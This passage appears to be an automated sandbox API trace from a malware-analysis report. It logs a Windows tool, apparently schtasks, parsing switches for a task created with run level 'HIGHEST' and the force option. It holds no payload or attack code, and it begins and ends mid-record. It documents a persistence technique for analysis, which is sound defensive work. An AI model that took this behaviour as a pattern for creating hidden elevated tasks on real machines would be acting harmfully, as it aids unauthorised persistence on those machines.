_Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|m|") returned 3 [0124.311] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.311] lstrlenW (lpString="|m|") returned 3 [0124.311] lstrlenW (lpString="|rl|") returned 4 [0124.311] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.311] lstrlenW (lpString="i") returned 1 [0124.311] lstrlenW (lpString="i") returned 1 [0124.311] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.311] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.311] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|i|") returned 3 [0124.312] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.312] lstrlenW (lpString="|i|") returned 3 [0124.312] lstrlenW (lpString="|rl|") returned 4 [0124.312] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.312] lstrlenW (lpString="tn") returned 2 [0124.312] lstrlenW (lpString="tn") returned 2 [0124.312] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.312] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.312] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tn|") returned 4 [0124.312] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.312] lstrlenW (lpString="|tn|") returned 4 [0124.312] lstrlenW (lpString="|rl|") returned 4 [0124.312] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0124.312] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.312] lstrlenW (lpString="tr") returned 2 [0124.312] lstrlenW (lpString="tr") returned 2 [0124.312] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.312] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.312] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tr|") returned 4 [0124.312] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.312] lstrlenW (lpString="|tr|") returned 4 [0124.312] lstrlenW (lpString="|rl|") returned 4 [0124.312] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0124.312] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.312] lstrlenW (lpString="st") returned 2 [0124.312] lstrlenW (lpString="st") returned 2 [0124.312] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.312] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.313] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|st|") returned 4 [0124.313] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.313] lstrlenW (lpString="|st|") returned 4 [0124.313] lstrlenW (lpString="|rl|") returned 4 [0124.313] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0124.313] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.313] lstrlenW (lpString="sd") returned 2 [0124.313] lstrlenW (lpString="sd") returned 2 [0124.313] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.313] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.313] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|sd|") returned 4 [0124.313] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.313] lstrlenW (lpString="|sd|") returned 4 [0124.313] lstrlenW (lpString="|rl|") returned 4 [0124.313] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0124.313] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.313] lstrlenW (lpString="ed") returned 2 [0124.313] lstrlenW (lpString="ed") returned 2 [0124.313] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.313] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.313] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|ed|") returned 4 [0124.313] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.313] lstrlenW (lpString="|ed|") returned 4 [0124.313] lstrlenW (lpString="|rl|") returned 4 [0124.313] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0124.313] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.313] lstrlenW (lpString="it") returned 2 [0124.313] lstrlenW (lpString="it") returned 2 [0124.313] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.314] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.314] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|it|") returned 4 [0124.314] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.314] lstrlenW (lpString="|it|") returned 4 [0124.314] lstrlenW (lpString="|rl|") returned 4 [0124.314] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0124.314] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.314] lstrlenW (lpString="et") returned 2 [0124.314] lstrlenW (lpString="et") returned 2 [0124.314] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.314] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.314] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|et|") returned 4 [0124.314] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.314] lstrlenW (lpString="|et|") returned 4 [0124.314] lstrlenW (lpString="|rl|") returned 4 [0124.314] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0124.314] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.314] lstrlenW (lpString="k") returned 1 [0124.314] lstrlenW (lpString="k") returned 1 [0124.314] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.314] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.314] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|k|") returned 3 [0124.314] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.314] lstrlenW (lpString="|k|") returned 3 [0124.314] lstrlenW (lpString="|rl|") returned 4 [0124.314] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.314] lstrlenW (lpString="du") returned 2 [0124.314] lstrlenW (lpString="du") returned 2 [0124.315] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.315] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.315] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|du|") returned 4 [0124.315] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.315] lstrlenW (lpString="|du|") returned 4 [0124.315] lstrlenW (lpString="|rl|") returned 4 [0124.315] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0124.315] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.315] lstrlenW (lpString="ri") returned 2 [0124.315] lstrlenW (lpString="ri") returned 2 [0124.315] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.315] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.315] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|ri|") returned 4 [0124.315] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.315] lstrlenW (lpString="|ri|") returned 4 [0124.315] lstrlenW (lpString="|rl|") returned 4 [0124.315] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0124.315] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.315] lstrlenW (lpString="z") returned 1 [0124.315] lstrlenW (lpString="z") returned 1 [0124.315] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.315] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.315] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|z|") returned 3 [0124.315] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.315] lstrlenW (lpString="|z|") returned 3 [0124.315] lstrlenW (lpString="|rl|") returned 4 [0124.315] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.315] lstrlenW (lpString="f") returned 1 [0124.316] lstrlenW (lpString="f") returned 1 [0124.316] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.316] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.316] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.316] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.316] lstrlenW (lpString="|f|") returned 3 [0124.316] lstrlenW (lpString="|rl|") returned 4 [0124.316] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.316] lstrlenW (lpString="v1") returned 2 [0124.316] lstrlenW (lpString="v1") returned 2 [0124.316] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.316] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.316] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|v1|") returned 4 [0124.316] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.316] lstrlenW (lpString="|v1|") returned 4 [0124.316] lstrlenW (lpString="|rl|") returned 4 [0124.316] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0124.316] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.316] lstrlenW (lpString="xml") returned 3 [0124.316] lstrlenW (lpString="xml") returned 3 [0124.316] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.316] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.316] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|xml|") returned 5 [0124.316] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.316] lstrlenW (lpString="|xml|") returned 5 [0124.316] lstrlenW (lpString="|rl|") returned 4 [0124.316] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0124.317] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.317] lstrlenW (lpString="ec") returned 2 [0124.317] lstrlenW (lpString="ec") returned 2 [0124.317] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.317] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.317] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|ec|") returned 4 [0124.317] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.317] lstrlenW (lpString="|ec|") returned 4 [0124.317] lstrlenW (lpString="|rl|") returned 4 [0124.317] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0124.317] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.317] lstrlenW (lpString="rl") returned 2 [0124.317] lstrlenW (lpString="rl") returned 2 [0124.317] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.317] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.317] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.317] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.317] lstrlenW (lpString="|rl|") returned 4 [0124.317] lstrlenW (lpString="|rl|") returned 4 [0124.317] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0124.317] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.317] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.317] lstrlenW (lpString="HIGHEST") returned 7 [0124.317] lstrlenW (lpString="-/") returned 2 [0124.317] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0124.317] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.317] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.317] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.317] lstrlenW (lpString="HIGHEST") returned 7 [0124.318] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0124.318] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.318] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.318] _memicmp (_Buf1=0x2996d99a930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.318] lstrlenW (lpString="HIGHEST") returned 7 [0124.318] lstrlenW (lpString="HIGHEST") returned 7 [0124.318] lstrlenW (lpString=" \x09") returned 2 [0124.318] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0124.318] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0124.318] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0124.318] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0124.318] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0124.318] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0124.318] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0124.318] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0124.318] GetLastError () returned 0x0 [0124.318] lstrlenW (lpString="HIGHEST") returned 7 [0124.318] lstrlenW (lpString="HIGHEST") returned 7 [0124.318] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.318] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.318] lstrlenW (lpString="/f") returned 2 [0124.318] lstrlenW (lpString="-/") returned 2 [0124.318] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0124.318] lstrlenW (lpString="create") returned 6 [0124.318] lstrlenW (lpString="create") returned 6 [0124.318] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.318] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.318] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|create|") returned 8 [0124.318] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.318] lstrlenW (lpString="|create|") returned 8 [0124.319] lstrlenW (lpString="|f|") returned 3 [0124.319] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0124.319] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.319] lstrlenW (lpString="?") returned 1 [0124.319] lstrlenW (lpString="?") returned 1 [0124.319] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.319] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.319] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|?|") returned 3 [0124.319] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.319] lstrlenW (lpString="|?|") returned 3 [0124.319] lstrlenW (lpString="|f|") returned 3 [0124.319] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0124.319] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.319] lstrlenW (lpString="s") returned 1 [0124.319] lstrlenW (lpString="s") returned 1 [0124.319] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.319] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.319] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|s|") returned 3 [0124.319] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.319] lstrlenW (lpString="|s|") returned 3 [0124.319] lstrlenW (lpString="|f|") returned 3 [0124.319] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0124.319] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.319] lstrlenW (lpString="u") returned 1 [0124.319] lstrlenW (lpString="u") returned 1 [0124.319] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.319] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.319] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|u|") returned 3 [0124.320] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.320] lstrlenW (lpString="|u|") returned 3 [0124.320] lstrlenW (lpString="|f|") returned 3 [0124.320] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0124.320] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.320] lstrlenW (lpString="p") returned 1 [0124.320] lstrlenW (lpString="p") returned 1 [0124.320] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.320] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.320] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|p|") returned 3 [0124.320] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.320] lstrlenW (lpString="|p|") returned 3 [0124.320] lstrlenW (lpString="|f|") returned 3 [0124.320] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0124.320] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.320] lstrlenW (lpString="ru") returned 2 [0124.320] lstrlenW (lpString="ru") returned 2 [0124.320] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.320] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.320] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|ru|") returned 4 [0124.320] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.320] lstrlenW (lpString="|ru|") returned 4 [0124.320] lstrlenW (lpString="|f|") returned 3 [0124.320] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0124.320] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.320] lstrlenW (lpString="rp") returned 2 [0124.320] lstrlenW (lpString="rp") returned 2 [0124.320] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.321] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.321] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rp|") returned 4 [0124.321] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.321] lstrlenW (lpString="|rp|") returned 4 [0124.321] lstrlenW (lpString="|f|") returned 3 [0124.321] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0124.321] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.321] lstrlenW (lpString="sc") returned 2 [0124.321] lstrlenW (lpString="sc") returned 2 [0124.321] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.321] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.321] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|sc|") returned 4 [0124.321] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.321] lstrlenW (lpString="|sc|") returned 4 [0124.321] lstrlenW (lpString="|f|") returned 3 [0124.321] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0124.321] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.321] lstrlenW (lpString="mo") returned 2 [0124.321] lstrlenW (lpString="mo") returned 2 [0124.321] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.321] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.321] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|mo|") returned 4 [0124.321] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.321] lstrlenW (lpString="|mo|") returned 4 [0124.321] lstrlenW (lpString="|f|") returned 3 [0124.321] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0124.321] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.321] lstrlenW (lpString="d") returned 1 [0124.322] lstrlenW (lpString="d") returned 1 [0124.322] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.322] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.322] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|d|") returned 3 [0124.322] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.322] lstrlenW (lpString="|d|") returned 3 [0124.322] lstrlenW (lpString="|f|") returned 3 [0124.322] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0124.322] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.322] lstrlenW (lpString="m") returned 1 [0124.322] lstrlenW (lpString="m") returned 1 [0124.322] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.322] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.322] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|m|") returned 3 [0124.322] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.322] lstrlenW (lpString="|m|") returned 3 [0124.322] lstrlenW (lpString="|f|") returned 3 [0124.322] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0124.322] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.322] lstrlenW (lpString="i") returned 1 [0124.322] lstrlenW (lpString="i") returned 1 [0124.322] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.322] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.322] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|i|") returned 3 [0124.322] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.322] lstrlenW (lpString="|i|") returned 3 [0124.322] lstrlenW (lpString="|f|") returned 3 [0124.322] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0124.323] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.323] lstrlenW (lpString="tn") returned 2 [0124.323] lstrlenW (lpString="tn") returned 2 [0124.323] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.323] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.323] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tn|") returned 4 [0124.323] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|f|") returned 3 [0124.323] lstrlenW (lpString="|tn|") returned 4 [0124.323] lstrlenW (lpString="|f|") returned 3 [0124.323] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0124.323] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.323] lstrlenW (lpString="tr") 